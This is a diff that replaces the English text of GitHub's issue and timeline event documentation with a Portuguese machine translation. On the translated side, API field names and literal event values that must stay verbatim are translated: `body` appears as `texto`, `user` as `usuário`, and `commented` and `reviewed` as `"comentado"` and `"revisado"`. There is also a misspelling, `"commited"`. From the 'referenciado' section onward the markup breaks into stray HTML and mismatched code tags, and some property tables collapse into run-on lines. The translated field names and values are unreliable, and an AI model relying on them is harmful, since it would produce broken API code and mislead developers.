+| -------------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `url`                | `string`  | A URL da API REST para recuperar o comentário do problema.                                                                                                      |
+| `html_url`           | `string`  | A URL de HTML do comentário do problema.                                                                                                                        |
+| `issue_url`          | `string`  | A URL de HTML do problema.                                                                                                                                      |
+| `id`                 | `inteiro` | O identificador exclusivo do evento.                                                                                                                            |
+| `node_id`            | `string`  | O [ID de nó global]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) do evento.                                       |
+| `usuário`            | `objeto`  | A pessoa que comentou sobre o problema.                                                                                                                         |
+| `created_at`         | `string`  | A marca de tempo que indica quando o comentário foi adicionado.                                                                                                 |
+| `updated_at`         | `string`  | A marca de tempo que indica quando o comentário foi atualizado ou criado, se o comentário nunca for atualizado.                                                 |
+| `author_association` | `string`  | As permissões que o usuário tem no repositório do problema. Por exemplo, o valor seria `"PROPRIETÁRIO"` se o proprietário do repositório criasse um comentário. |
+| `texto`              | `string`  | O texto do comentário.                                                                                                                                          |
+| `event`              | `string`  | O valor da reunião é `"comentado"`.                                                                                                                             |
+| `actor`              | `objeto`  | A pessoa que gerou o evento.                                                                                                                                    |
 
-## committed
+## comprometido
 
-A commit was added to the pull request's `HEAD` branch.
+Um commit foi adicionado ao branch `HEAD` do pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> |  | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |                            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`sha` | `string` | The SHA of the commit in the pull request.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`url` | `string` | The REST API URL to retrieve the commit.
-`html_url` | `string` | The HTML URL of the commit.
-`author` | `object` | The person who authored the commit.
-`committer` | `object` | The person who committed the commit on behalf of the author.
-`tree` | `object` | The Git tree of the commit.
-`message` | `string` | The commit message.
-`parents` | `array of objects` | A list of parent commits.
-`verification` | `object` | The result of verifying the commit's signature. For more information, see "[Signature verification object](/rest/reference/git#get-a-commit)."
-`event` | `string` | The event value is `"committed"`.
+| Nome          | Tipo               | Descrição                                                                                                                                                         |
+| ------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `sha`         | `string`           | O SHA do commit no pull request.                                                                                                                                  |
+| `node_id`     | `string`           | O [ID de nó global]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) do evento.                                         |
+| `url`         | `string`           | A URL da API REST para recuperar o commit.                                                                                                                        |
+| `html_url`    | `string`           | A URL de HTML do commit.                                                                                                                                          |
+| `autor`       | `objeto`           | A pessoa que autorizou o commit.                                                                                                                                  |
+| `committer`   | `objeto`           | A pessoa que confirmou o commit em nome do autor.                                                                                                                 |
+| `árvore`      | `objeto`           | A árvore Git do commit.                                                                                                                                           |
+| `mensagem`    | `string`           | A mensagem do commit.                                                                                                                                             |
+| `principais`  | `array de objetos` | Uma lista de commits principais.                                                                                                                                  |
+| `verificação` | `objeto`           | O resultado de verificação da assinatura do commit. Para obter mais informações, consulte "[Objeto verificação de assinatura](/rest/reference/git#get-a-commit)". |
+| `event`       | `string`           | O valor do evento é `"commited"`.                                                                                                                                 |
 
-## connected
+## conectado
 
-The issue or pull request was linked to another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+O problema ou pull request foi vinculado a outro problema ou pull request. Para obter mais informações, consulte "[Vincular um pull request a um problema](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## convert_to_draft
 
-The pull request was converted to draft mode.
+O pull request foi convertido para modo rascunho.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## converted_note_to_issue
 
-The issue was created by converting a note in a project board to an issue. {% data reusables.projects.disabled-projects %}
+O problema foi criado convertendo uma observação de um quadro de projeto em uma problema. {% data reusables.projects.disabled-projects %}
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
@@ -216,513 +217,558 @@ The issue was created by converting a note in a project board to an issue. {% da
 
 ## cross-referenced
 
-The issue or pull request was referenced from another issue or pull request.
+O problema ou pull request foi referenciado a partir de outro problema ou pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |                            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`actor` | `object` | The person who generated the event.
-`created_at` | `string` | The timestamp indicating when the cross-reference was added.
-`updated_at` | `string` | The timestamp indicating when the cross-reference was updated or created, if the cross-reference is never updated.
-`source` | `object` | The issue or pull request that added a cross-reference.
-`source[type]` | `string` | This value will always be `"issue"` because pull requests are of type issue. Only cross-reference events triggered by issues or pull requests are returned in the Timeline Events API. To determine if the issue that triggered the event is a pull request, you can check if the `source[issue][pull_request` object exists.
-`source[issue]` | `object` | The `issue` object that added the cross-reference.
-`event` | `string` | The event value is `"cross-referenced"`.
+| Nome            | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                |
+| --------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `actor`         | `objeto` | A pessoa que gerou o evento.                                                                                                                                                                                                                                                                                                             |
+| `created_at`    | `string` | A marca de tempo que indica quando a referência cruzada foi adicionada.                                                                                                                                                                                                                                                                  |
+| `updated_at`    | `string` | A marca de tempo que indica quando a referência cruzada foi atualizada ou criada, se a referência cruzada nunca for atualizada.                                                                                                                                                                                                          |
+| `fonte`         | `objeto` | O problema ou pull request que adicionou uma referência cruzada.                                                                                                                                                                                                                                                                         |
+| `source[type]`  | `string` | Esse valor será sempre `"problema"`, porque os pull requests são do tipo problema. Apenas eventos de referência cruzada acionados por problemas são retornados na API de eventos da linha te tempo. Para determinar se o problema que acionou o evento é um pull request, você pode verificar se o objeto `[issue][pull_request` existe. |
+| `source[issue]` | `objeto` | O objeto `problema` que adicionou a referência cruzada.                                                                                                                                                                                                                                                                                  |
+| `event`         | `string` | O valor do evento é `"referência cruzada"`.                                                                                                                                                                                                                                                                                              |
 
 ## demilestoned
 
-The issue or pull request was removed from a milestone.
+O problema ou pull request foi removido de um marco.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`milestone` | `object` | The milestone object.
-`milestone[title]` | `string` | The title of the milestone.
+`marco` | `objeto` | Objeto do marco. `marco[title]` | `string` | O título do marco.
 
-## deployed
+## implantado
 
-The pull request was deployed.
+O pull request foi implantado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## deployment_environment_changed
 
-The pull request deployment environment was changed.
+O ambiente de implantação do pull request foi alterado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** |  |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |                                  |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## disconnected
+## desconectado
 
-The issue or pull request was unlinked from another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+O problema ou o pull request foi desvinculado de outro problema ou pull request. Para obter mais informações, consulte "[Vincular um pull request a um problema](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## head_ref_deleted
 
-The pull request's `HEAD` branch was deleted.
+O branch `HEAD` do pull request foi excluído.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## head_ref_restored
 
-The pull request's `HEAD` branch was restored to the last known commit.
+O branch `HEAD` do pull request foi restaurado para o último commit conhecido.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## labeled
+## etiquetado
 
-A label was added to the issue or pull request.
+Uma etiqueta foi adicionada ao problema ou pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.label-properties %}
 
-## locked
+## bloqueado
 
-The issue or pull request was locked.
+O problema ou pull request foi bloqueado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+`lock_reason` | `string` | O motivo pelo qual uma conversa sobre o problema ou pull request foi bloqueada, caso tenha sido fornecida.
 
-## mentioned
+## mencionado
 
-The `actor` was `@mentioned` in an issue or pull request body.
+O `ator` foi `@mentioned` em um problema ou texto de pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## marked_as_duplicate
 
-A user with write permissions marked an issue as a duplicate of another issue, or a pull request as a duplicate of another pull request.
+Um usuário com permissões de gravação marcou um problema como duplicata de outro problema ou um pull request como duplicata de outro pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## merged
 
-The pull request was merged. The `commit_id` attribute is the SHA1 of the `HEAD` commit that was merged. The `commit_repository` is always the same as the main repository.
+O pull request foi mesclado. O atributo `commit_id` é o SHA1 do commit do `HEAD` que foi mesclado. O `commit_repository` é sempre o mesmo do repositório principal.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## milestoned
+## marcado
 
-The issue or pull request was added to a milestone.
+O problema ou pull request foi adicionado a um marco.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`milestone` | `object` | The milestone object.
-`milestone[title]` | `string` | The title of the milestone.
+`marco` | `objeto` | Objeto do marco. `marco[title]` | `string` | O título do marco.
 
 ## moved_columns_in_project
 
-The issue or pull request was moved between columns in a project board. {% data reusables.projects.disabled-projects %}
+O problema ou pull request foi movido entre as colunas em um quadro de projeto. {% data reusables.projects.disabled-projects %}
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.project-card-properties %}
-`previous_column_name` | `string` | The name of the column the issue was moved from.
+`previous_column_name` | `string` | O nome da coluna da qual o problema foi movido.
 
-## pinned
+## fixado
 
-The issue was pinned.
+O problema foi fixado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## ready_for_review
 
-A draft pull request was marked as ready for review.
+Um rascunho de pull request foi marcado como pronto para revisão.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## referenced
+## referenciado
 
-The issue was referenced from a commit message. The `commit_id` attribute is the commit SHA1 of where that happened and the commit_repository is where that commit was pushed.
+O problema foi referenciado a partir de uma mensagem de commit. O atributo do </code>commit_id` é o SHA1 do commit onde isso ocorreu e o commit_repository é o local onde esse commit foi feito carregado.</p>
 
-### Availability
+<h3 spaces-before="0">Disponibilidade</h3>
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+<table spaces-before="0">
+<thead>
+<tr>
+  <th align="left">Tipo de problema</th>
+  <th align="center">API de eventos de problema</th>
+  <th align="center">API de eventos da linha de tempo</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+  <td align="left"> <ul><li>Problemas</li><li>Pull requests</li></ul></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+</tr>
+</tbody>
+</table>
 
-### Event object properties
+<h3 spaces-before="0">Propriedades do objeto do evento</h3>
 
-{% data reusables.issue-events.issue-event-common-properties %}
+<p spaces-before="0">{% data reusables.issue-events.issue-event-common-properties %}</p>
 
-## removed_from_project
+<h2 spaces-before="0">removed_from_project</h2>
 
-The issue or pull request was removed from a project board. {% data reusables.projects.disabled-projects %}
+<p spaces-before="0">O problema ou pull request foi removido de um quadro de projeto. {% data reusables.projects.disabled-projects %}</p>
 
-### Availability
+<h3 spaces-before="0">Disponibilidade</h3>
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+<table spaces-before="0">
+<thead>
+<tr>
+  <th align="left">Tipo de problema</th>
+  <th align="center">API de eventos de problema</th>
+  <th align="center">API de eventos da linha de tempo</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+  <td align="left"> <ul><li>Problemas</li><li>Pull requests</li></ul></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+</tr>
+</tbody>
+</table>
 
-### Event object properties
+<h3 spaces-before="0">Propriedades do objeto do evento</h3>
 
-{% data reusables.pre-release-program.starfox-preview %}
-{% data reusables.pre-release-program.api-preview-warning %}
+<p spaces-before="0">{% data reusables.pre-release-program.starfox-preview %}</p>
 
-{% data reusables.issue-events.issue-event-common-properties %}
-{% data reusables.issue-events.project-card-properties %}
+<p spaces-before="0">
+</p>
 
-## renamed
+<p spaces-before="0">{% data reusables.pre-release-program.api-preview-warning %}</p>
 
-The issue or pull request title was changed.
+<p spaces-before="0">{% data reusables.issue-events.issue-event-common-properties %}</p>
 
-### Availability
+<p spaces-before="0">
+</p>
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+<p spaces-before="0">{% data reusables.issue-events.project-card-properties %}</p>
 
-### Event object properties
+<h2 spaces-before="0">renamed</h2>
 
-{% data reusables.issue-events.issue-event-common-properties %}
-`rename` | `object` | The name details.
-`rename[from]` | `string` | The previous name.
-`rename[to]` | `string` | The new name.
+<p spaces-before="0">O problema ou o título do pull request foi alterado.</p>
 
-## reopened
+<h3 spaces-before="0">Disponibilidade</h3>
 
-The issue or pull request was reopened.
+<table spaces-before="0">
+<thead>
+<tr>
+  <th align="left">Tipo de problema</th>
+  <th align="center">API de eventos de problema</th>
+  <th align="center">API de eventos da linha de tempo</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+  <td align="left"> <ul><li>Problemas</li><li>Pull requests</li></ul></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+  <td align="center"><strong x-id="1">X</strong></td>
+</tr>
+</tbody>
+</table>
 
-### Availability
+<h3 spaces-before="0">Propriedades do objeto do evento</h3>
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+<p spaces-before="0">{% data reusables.issue-events.issue-event-common-properties %}</p>
 
-### Event object properties
+<p spaces-before="0">
+<code>renomear` | `objeto` | As informações do nome. `renomear[from]` | `string` | O nome anterior. `Renomear[to]` | `string` | O novo nome.
+
+## reaberto
+
+O problema ou o pull request foi reaberto.
+
+### Disponibilidade
+
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
+
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## review_dismissed
 
-The pull request review was dismissed.
+A revisão do pull request foi ignorada.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-dismissed-properties %}
 
 ## review_requested
 
-A pull request review was requested.
+Foi solicitada uma revisão do pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-request-properties %}
 
 ## review_request_removed
 
-A pull request review request was removed.
+Uma solicitação de revisão do pull request foi removida.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-request-properties %}
 
-## reviewed
+## revisado
 
-The pull request was reviewed.
+O pull request foi revisado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> |  | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |                            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`id` | `integer` | The unique identifier of the event.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`user` | `object` | The person who commented on the issue.
-`body` | `string` | The review summary text.
-`commit_id` | `string` | The SHA of the latest commit in the pull request at the time of the review.
-`submitted_at` | `string` | The timestamp indicating when the review was submitted.
-`state` | `string` | The state of the submitted review. Can be one of: `commented`, `changes_requested`, or `approved`.
-`html_url` | `string` | The HTML URL of the review.
-`pull_request_url` | `string` | The REST API URL to retrieve the pull request.
-`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
-`_links` | `object` | The `html_url` and `pull_request_url`.
-`event` | `string` | The event value is `"reviewed"`.
+| Nome                 | Tipo      | Descrição                                                                                                                                                       |
+| -------------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `id`                 | `inteiro` | O identificador exclusivo do evento.                                                                                                                            |
+| `node_id`            | `string`  | O [ID de nó global]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) do evento.                                       |
+| `usuário`            | `objeto`  | A pessoa que comentou sobre o problema.                                                                                                                         |
+| `texto`              | `string`  | O texto do resumo da revisão.                                                                                                                                   |
+| `commit_id`          | `string`  | O SHA do último commit no pull request no momento da revisão.                                                                                                   |
+| `submitted_at`       | `string`  | A marca de tempo que indica quando a revisão foi enviada.                                                                                                       |
+| `estado`             | `string`  | O estado da revisão enviada. Pode ser um desses: `comentado`, `changes_requested` ou `aprovado`.                                                                |
+| `html_url`           | `string`  | A URL de HTML da revisão.                                                                                                                                       |
+| `pull_request_url`   | `string`  | A URL da API REST para recuperar a o pull request.                                                                                                              |
+| `author_association` | `string`  | As permissões que o usuário tem no repositório do problema. Por exemplo, o valor seria `"PROPRIETÁRIO"` se o proprietário do repositório criasse um comentário. |
+| `_links`             | `objeto`  | O `html_url` e `pull_request_url`.                                                                                                                              |
+| `event`              | `string`  | O valor do evento é `"revisado"`.                                                                                                                               |
 
-## subscribed
+## assinado
 
-Someone subscribed to receive notifications for an issue or pull request.
+Alguém faz a assinatura para receber notificações de um problema ou pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## transferred
+## transferido
 
-The issue was transferred to another repository.
+O problema foi transferido para outro repositório.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## unassigned
+## não atribuido
 
-A user was unassigned from the issue.
+Um usuário foi não foi atribuído a partir do problema.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.assignee-properties %}
 
-## unlabeled
+## sem etiqueta
 
-A label was removed from the issue.
+Uma etiqueta foi removida do problema.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
